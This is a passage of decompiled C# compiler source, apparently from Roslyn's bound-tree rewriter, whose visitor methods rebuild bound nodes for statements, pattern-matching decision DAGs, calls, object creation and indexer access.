ImmutableArray switchSections = VisitList(node.SwitchSections); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + BoundSwitchLabel defaultLabel = (BoundSwitchLabel)Visit(node.DefaultLabel); + return node.Update(expression, node.InnerLocals, node.InnerLocalFunctions, switchSections, reachabilityDecisionDag, defaultLabel, node.BreakLabel); + } + + public override BoundNode? VisitSwitchDispatch(BoundSwitchDispatch node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + return node.Update(expression, node.Cases, node.DefaultLabel, node.LengthBasedStringSwitchDataOpt); + } + + public override BoundNode? VisitIfStatement(BoundIfStatement node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement consequence = (BoundStatement)Visit(node.Consequence); + BoundStatement alternativeOpt = (BoundStatement)Visit(node.AlternativeOpt); + return node.Update(condition, consequence, alternativeOpt); + } + + public override BoundNode? VisitDoStatement(BoundDoStatement node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.Locals, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.Locals, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitForStatement(BoundForStatement node) + { + BoundStatement initializer = (BoundStatement)Visit(node.Initializer); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement increment = (BoundStatement)Visit(node.Increment); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.OuterLocals, initializer, node.InnerLocals, condition, increment, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + BoundValuePlaceholder elementPlaceholder = node.ElementPlaceholder; + BoundExpression elementConversion = node.ElementConversion; + BoundTypeExpression iterationVariableType = (BoundTypeExpression)Visit(node.IterationVariableType); + BoundExpression iterationErrorExpressionOpt = (BoundExpression)Visit(node.IterationErrorExpressionOpt); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundForEachDeconstructStep deconstructionOpt = (BoundForEachDeconstructStep)Visit(node.DeconstructionOpt); + BoundAwaitableInfo awaitOpt = (BoundAwaitableInfo)Visit(node.AwaitOpt); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.EnumeratorInfoOpt, elementPlaceholder, elementConversion, iterationVariableType, node.IterationVariables, iterationErrorExpressionOpt, expression, deconstructionOpt, awaitOpt, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitForEachDeconstructStep(BoundForEachDeconstructStep node) + { + BoundDeconstructionAssignmentOperator deconstructionAssignment = (BoundDeconstructionAssignmentOperator)Visit(node.DeconstructionAssignment); + BoundDeconstructValuePlaceholder targetPlaceholder = (BoundDeconstructValuePlaceholder)Visit(node.TargetPlaceholder); + return node.Update(deconstructionAssignment, targetPlaceholder); + } + + public override BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + BoundMultipleLocalDeclarations declarationsOpt = (BoundMultipleLocalDeclarations)Visit(node.DeclarationsOpt); + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + BoundStatement body = (BoundStatement)Visit(node.Body); + BoundAwaitableInfo awaitOpt = (BoundAwaitableInfo)Visit(node.AwaitOpt); + return node.Update(node.Locals, declarationsOpt, expressionOpt, body, awaitOpt, node.PatternDisposeInfoOpt); + } + + public override BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + BoundMultipleLocalDeclarations declarations = (BoundMultipleLocalDeclarations)Visit(node.Declarations); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.Locals, declarations, body); + } + + public override BoundNode? VisitLockStatement(BoundLockStatement node) + { + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(argument, body); + } + + public override BoundNode? VisitTryStatement(BoundTryStatement node) + { + BoundBlock tryBlock = (BoundBlock)Visit(node.TryBlock); + ImmutableArray catchBlocks = VisitList(node.CatchBlocks); + BoundBlock finallyBlockOpt = (BoundBlock)Visit(node.FinallyBlockOpt); + return node.Update(tryBlock, catchBlocks, finallyBlockOpt, node.FinallyLabelOpt, node.PreferFaultHandler); + } + + public override BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + BoundExpression exceptionSourceOpt = (BoundExpression)Visit(node.ExceptionSourceOpt); + BoundStatementList exceptionFilterPrologueOpt = (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt); + BoundExpression exceptionFilterOpt = (BoundExpression)Visit(node.ExceptionFilterOpt); + BoundBlock body = (BoundBlock)Visit(node.Body); + TypeSymbol exceptionTypeOpt = VisitType(node.ExceptionTypeOpt); + return node.Update(node.Locals, exceptionSourceOpt, exceptionTypeOpt, exceptionFilterPrologueOpt, exceptionFilterOpt, body, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode? VisitLiteral(BoundLiteral node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ConstantValueOpt, type); + } + + public override BoundNode? VisitUtf8String(BoundUtf8String node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Value, type); + } + + public override BoundNode? VisitThisReference(BoundThisReference node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitBaseReference(BoundBaseReference node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitLocal(BoundLocal node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.LocalSymbol, node.DeclarationKind, node.ConstantValueOpt, node.IsNullableUnknown, type); + } + + public override BoundNode? VisitPseudoVariable(BoundPseudoVariable node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.LocalSymbol, node.EmitExpressions, type); + } + + public override BoundNode? VisitRangeVariable(BoundRangeVariable node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.RangeVariableSymbol, value, type); + } + + public override BoundNode? VisitParameter(BoundParameter node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ParameterSymbol, type); + } + + public override BoundNode? VisitLabelStatement(BoundLabelStatement node) + { + return node; + } + + public override BoundNode? VisitGotoStatement(BoundGotoStatement node) + { + BoundExpression caseExpressionOpt = (BoundExpression)Visit(node.CaseExpressionOpt); + BoundLabel labelExpressionOpt = (BoundLabel)Visit(node.LabelExpressionOpt); + return node.Update(node.Label, caseExpressionOpt, labelExpressionOpt); + } + + public override BoundNode? VisitLabeledStatement(BoundLabeledStatement node) + { + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.Label, body); + } + + public override BoundNode? VisitLabel(BoundLabel node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Label, type); + } + + public override BoundNode? VisitStatementList(BoundStatementList node) + { + ImmutableArray statements = VisitList(node.Statements); + return node.Update(statements); + } + + public override BoundNode? VisitConditionalGoto(BoundConditionalGoto node) + { + BoundExpression condition = (BoundExpression)Visit(node.Condition); + return node.Update(condition, node.JumpIfTrue, node.Label); + } + + public override BoundNode? VisitSwitchExpressionArm(BoundSwitchExpressionArm node) + { + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundExpression whenClause = (BoundExpression)Visit(node.WhenClause); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(node.Locals, pattern, whenClause, value, node.Label); + } + + public override BoundNode? VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray switchArms = VisitList(node.SwitchArms); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, type); + } + + public override BoundNode? VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray switchArms = VisitList(node.SwitchArms); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + TypeSymbol naturalTypeOpt = VisitType(node.NaturalTypeOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(naturalTypeOpt, node.WasTargetTyped, expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, type); + } + + public override BoundNode? VisitDecisionDag(BoundDecisionDag node) + { + BoundDecisionDagNode rootNode = (BoundDecisionDagNode)Visit(node.RootNode); + return node.Update(rootNode); + } + + public override BoundNode? VisitEvaluationDecisionDagNode(BoundEvaluationDecisionDagNode node) + { + BoundDagEvaluation evaluation = (BoundDagEvaluation)Visit(node.Evaluation); + BoundDecisionDagNode next = (BoundDecisionDagNode)Visit(node.Next); + return node.Update(evaluation, next); + } + + public override BoundNode? VisitTestDecisionDagNode(BoundTestDecisionDagNode node) + { + BoundDagTest test = (BoundDagTest)Visit(node.Test); + BoundDecisionDagNode whenTrue = (BoundDecisionDagNode)Visit(node.WhenTrue); + BoundDecisionDagNode whenFalse = (BoundDecisionDagNode)Visit(node.WhenFalse); + return node.Update(test, whenTrue, whenFalse); + } + + public override BoundNode? VisitWhenDecisionDagNode(BoundWhenDecisionDagNode node) + { + BoundExpression whenExpression = (BoundExpression)Visit(node.WhenExpression); + BoundDecisionDagNode whenTrue = (BoundDecisionDagNode)Visit(node.WhenTrue); + BoundDecisionDagNode whenFalse = (BoundDecisionDagNode)Visit(node.WhenFalse); + return node.Update(node.Bindings, whenExpression, whenTrue, whenFalse); + } + + public override BoundNode? VisitLeafDecisionDagNode(BoundLeafDecisionDagNode node) + { + return node; + } + + public override BoundNode? VisitDagTemp(BoundDagTemp node) + { + BoundDagEvaluation source = (BoundDagEvaluation)Visit(node.Source); + TypeSymbol type = VisitType(node.Type); + return node.Update(type, source, node.Index); + } + + public override BoundNode? VisitDagTypeTest(BoundDagTypeTest node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + TypeSymbol type = VisitType(node.Type); + return node.Update(type, input); + } + + public override BoundNode? VisitDagNonNullTest(BoundDagNonNullTest node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.IsExplicitTest, input); + } + + public override BoundNode? VisitDagExplicitNullTest(BoundDagExplicitNullTest node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(input); + } + + public override BoundNode? VisitDagValueTest(BoundDagValueTest node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.Value, input); + } + + public override BoundNode? VisitDagRelationalTest(BoundDagRelationalTest node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.OperatorKind, node.Value, input); + } + + public override BoundNode? VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.DeconstructMethod, input); + } + + public override BoundNode? VisitDagTypeEvaluation(BoundDagTypeEvaluation node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + TypeSymbol type = VisitType(node.Type); + return node.Update(type, input); + } + + public override BoundNode? VisitDagFieldEvaluation(BoundDagFieldEvaluation node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.Field, input); + } + + public override BoundNode? VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.Property, node.IsLengthOrCount, input); + } + + public override BoundNode? VisitDagIndexEvaluation(BoundDagIndexEvaluation node) + { + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(node.Property, node.Index, input); + } + + public override BoundNode? VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node) + { + BoundDagTemp lengthTemp = (BoundDagTemp)Visit(node.LengthTemp); + BoundExpression indexerAccess = (BoundExpression)Visit(node.IndexerAccess); + BoundListPatternReceiverPlaceholder receiverPlaceholder = (BoundListPatternReceiverPlaceholder)Visit(node.ReceiverPlaceholder); + BoundListPatternIndexPlaceholder argumentPlaceholder = (BoundListPatternIndexPlaceholder)Visit(node.ArgumentPlaceholder); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + TypeSymbol indexerType = VisitType(node.IndexerType); + return node.Update(indexerType, lengthTemp, node.Index, indexerAccess, receiverPlaceholder, argumentPlaceholder, input); + } + + public override BoundNode? VisitDagSliceEvaluation(BoundDagSliceEvaluation node) + { + BoundDagTemp lengthTemp = (BoundDagTemp)Visit(node.LengthTemp); + BoundExpression indexerAccess = (BoundExpression)Visit(node.IndexerAccess); + BoundSlicePatternReceiverPlaceholder receiverPlaceholder = (BoundSlicePatternReceiverPlaceholder)Visit(node.ReceiverPlaceholder); + BoundSlicePatternRangePlaceholder argumentPlaceholder = (BoundSlicePatternRangePlaceholder)Visit(node.ArgumentPlaceholder); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + TypeSymbol sliceType = VisitType(node.SliceType); + return node.Update(sliceType, lengthTemp, node.StartIndex, node.EndIndex, indexerAccess, receiverPlaceholder, argumentPlaceholder, input); + } + + public override BoundNode? VisitDagAssignmentEvaluation(BoundDagAssignmentEvaluation node) + { + BoundDagTemp target = (BoundDagTemp)Visit(node.Target); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(target, input); + } + + public override BoundNode? VisitSwitchSection(BoundSwitchSection node) + { + ImmutableArray switchLabels = VisitList(node.SwitchLabels); + ImmutableArray statements = VisitList(node.Statements); + return node.Update(node.Locals, switchLabels, statements); + } + + public override BoundNode? VisitSwitchLabel(BoundSwitchLabel node) + { + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundExpression whenClause = (BoundExpression)Visit(node.WhenClause); + return node.Update(node.Label, pattern, whenClause); + } + + public override BoundNode? VisitSequencePointExpression(BoundSequencePointExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, type); + } + + public override BoundNode? VisitSequence(BoundSequence node) + { + ImmutableArray sideEffects = VisitList(node.SideEffects); + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Locals, sideEffects, value, type); + } + + public override BoundNode? VisitSpillSequence(BoundSpillSequence node) + { + ImmutableArray sideEffects = VisitList(node.SideEffects); + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Locals, sideEffects, value, type); + } + + public override BoundNode? VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, node.TypeArgumentsOpt, node.Name, node.Invoked, node.Indexed, type); + } + + public override BoundNode? VisitDynamicInvocation(BoundDynamicInvocation node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.ApplicableMethods, expression, arguments, type); + } + + public override BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression accessExpression = (BoundExpression)Visit(node.AccessExpression); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, accessExpression, type); + } + + public override BoundNode? VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression whenNotNull = (BoundExpression)Visit(node.WhenNotNull); + BoundExpression whenNullOpt = (BoundExpression)Visit(node.WhenNullOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, node.HasValueMethodOpt, whenNotNull, whenNullOpt, node.Id, node.ForceCopyOfNullableValueType, type); + } + + public override BoundNode? VisitConditionalReceiver(BoundConditionalReceiver node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Id, type); + } + + public override BoundNode? VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + BoundExpression valueTypeReceiver = (BoundExpression)Visit(node.ValueTypeReceiver); + BoundExpression referenceTypeReceiver = (BoundExpression)Visit(node.ReferenceTypeReceiver); + TypeSymbol type = VisitType(node.Type); + return node.Update(valueTypeReceiver, referenceTypeReceiver, type); + } + + public override BoundNode? VisitMethodGroup(BoundMethodGroup node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + VisitType(node.Type); + return node.Update(node.TypeArgumentsOpt, node.Name, node.Methods, node.LookupSymbolOpt, node.LookupError, node.Flags, node.FunctionType, receiverOpt, node.ResultKind); + } + + public override BoundNode? VisitPropertyGroup(BoundPropertyGroup node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + VisitType(node.Type); + return node.Update(node.Properties, receiverOpt, node.ResultKind); + } + + public override BoundNode? VisitCall(BoundCall node) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, node.Method, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.IsDelegateCall, node.Expanded, node.InvokedAsExtensionMethod, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, node.OriginalMethodsOpt, type); + } + + public override BoundNode? VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Event, node.IsAddition, node.IsDynamic, receiverOpt, argument, type); + } + + public override BoundNode? VisitAttribute(BoundAttribute node) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray constructorArguments = VisitList(node.ConstructorArguments); + ImmutableArray namedArguments = VisitList(node.NamedArguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Constructor, constructorArguments, node.ConstructorArgumentNamesOpt, node.ConstructorArgumentsToParamsOpt, node.ConstructorExpanded, node.ConstructorDefaultArguments, namedArguments, node.ResultKind, type); + } + + public override BoundNode? VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + ImmutableArray arguments = VisitList(node.Arguments); + VisitType(node.Type); + return node.Update(arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.InitializerOpt, node.Binder); + } + + public override BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Constructor, node.ConstructorsGroup, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, initializerExpressionOpt, node.WasTargetTyped, type); + } + + public override BoundNode? VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + ImmutableArray elements = VisitList(node.Elements); + VisitType(node.Type); + return node.Update(elements); + } + + public override BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + BoundObjectOrCollectionValuePlaceholder placeholder = node.Placeholder; + BoundExpression collectionCreation = node.CollectionCreation; + BoundValuePlaceholder collectionBuilderInvocationPlaceholder = node.CollectionBuilderInvocationPlaceholder; + BoundExpression collectionBuilderInvocationConversion = node.CollectionBuilderInvocationConversion; + ImmutableArray elements = VisitList(node.Elements); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.CollectionTypeKind, placeholder, collectionCreation, node.CollectionBuilderMethod, collectionBuilderInvocationPlaceholder, collectionBuilderInvocationConversion, elements, type); + } + + public override BoundNode? VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundCollectionExpressionSpreadExpressionPlaceholder expressionPlaceholder = node.ExpressionPlaceholder; + BoundExpression conversion = node.Conversion; + BoundExpression lengthOrCount = node.LengthOrCount; + BoundValuePlaceholder elementPlaceholder = node.ElementPlaceholder; + BoundStatement iteratorBody = node.IteratorBody; + VisitType(node.Type); + return node.Update(expression, expressionPlaceholder, conversion, node.EnumeratorInfoOpt, lengthOrCount, elementPlaceholder, iteratorBody); + } + + public override BoundNode? VisitTupleLiteral(BoundTupleLiteral node) + { + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, type); + } + + public override BoundNode? VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + BoundTupleLiteral sourceTuple = node.SourceTuple; + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(sourceTuple, node.WasTargetTyped, arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, type); + } + + public override BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + ImmutableArray arguments = VisitList(node.Arguments); + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Name, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, initializerExpressionOpt, node.ApplicableMethods, node.WasTargetTyped, type); + } + + public override BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.GuidString, initializerExpressionOpt, node.WasTargetTyped, type); + } + + public override BoundNode? VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + BoundObjectOrCollectionValuePlaceholder placeholder = (BoundObjectOrCollectionValuePlaceholder)Visit(node.Placeholder); + ImmutableArray initializers = VisitList(node.Initializers); + TypeSymbol type = VisitType(node.Type); + return node.Update(placeholder, initializers, type); + } + + public override BoundNode? VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol receiverType = VisitType(node.ReceiverType); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.MemberSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, receiverType, type); + } + + public override BoundNode? VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + TypeSymbol receiverType = VisitType(node.ReceiverType); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.MemberName, receiverType, type); + } + + public override BoundNode? VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + BoundObjectOrCollectionValuePlaceholder placeholder = (BoundObjectOrCollectionValuePlaceholder)Visit(node.Placeholder); + ImmutableArray initializers = VisitList(node.Initializers); + TypeSymbol type = VisitType(node.Type); + return node.Update(placeholder, initializers, type); + } + + public override BoundNode? VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + BoundExpression implicitReceiverOpt = (BoundExpression)Visit(node.ImplicitReceiverOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.AddMethod, arguments, implicitReceiverOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.InvokedAsExtensionMethod, node.ResultKind, type); + } + + public override BoundNode? VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ApplicableMethods, expression, arguments, type); + } + + public override BoundNode? VisitImplicitReceiver(BoundImplicitReceiver node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + ImmutableArray arguments = VisitList(node.Arguments); + ImmutableArray declarations = VisitList(node.Declarations); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Constructor, arguments, declarations, type); + } + + public override BoundNode? VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Property, type); + } + + public override BoundNode? VisitNewT(BoundNewT node) + { + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(initializerExpressionOpt, node.WasTargetTyped, type); + } + + public override BoundNode? VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + BoundExpression argument = (BoundExpression)Visit(node.Argument); + TypeSymbol type = VisitType(node.Type); + return node.Update(argument, node.MethodOpt, node.IsExtensionMethod, node.WasTargetTyped, type); + } + + public override BoundNode? VisitArrayCreation(BoundArrayCreation node) + { + ImmutableArray bounds = VisitList(node.Bounds); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(bounds, initializerOpt, type); + } + + public override BoundNode? VisitArrayInitialization(BoundArrayInitialization node) + { + ImmutableArray initializers = VisitList(node.Initializers); + VisitType(node.Type); + return node.Update(node.IsInferred, initializers); + } + + public override BoundNode? VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + BoundExpression count = (BoundExpression)Visit(node.Count); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + TypeSymbol elementType = VisitType(node.ElementType); + TypeSymbol type = VisitType(node.Type); + return node.Update(elementType, count, initializerOpt, type); + } + + public override BoundNode? VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + BoundExpression count = (BoundExpression)Visit(node.Count); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + TypeSymbol elementType = VisitType(node.ElementType); + TypeSymbol type = VisitType(node.Type); + return node.Update(elementType, count, initializerOpt, type); + } + + public override BoundNode? VisitFieldAccess(BoundFieldAccess node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiverOpt, node.FieldSymbol, node.ConstantValueOpt, node.ResultKind, node.IsByValue, node.IsDeclaration, type); + } + + public override BoundNode? VisitHoistedFieldAccess(BoundHoistedFieldAccess node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.FieldSymbol, type); + } + + public override BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, node.PropertySymbol, node.ResultKind, type); + } + + public override BoundNode? VisitEventAccess(BoundEventAccess node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiverOpt, node.EventSymbol, node.IsUsableAsField, node.ResultKind, type); + } + + public override BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, node.Indexer, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.OriginalIndexersOpt, type); + } + + public override BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundExpression lengthOrCountAccess = node.LengthOrCountAccess; + BoundImplicitIndexerReceiverPlaceholder receiverPlaceholder = node.ReceiverPlaceholder; + BoundExpression indexerOrSliceAccess = node.IndexerOrSliceAccess; + ImmutableArray argumentPlaceholders = node.ArgumentPlaceholders; + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, argument, lengthOrCountAccess, receiverPlaceholder, indexerOrSliceAccess, argumentPlaceholders, type); + } + + public override BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + TypeSymbol type = 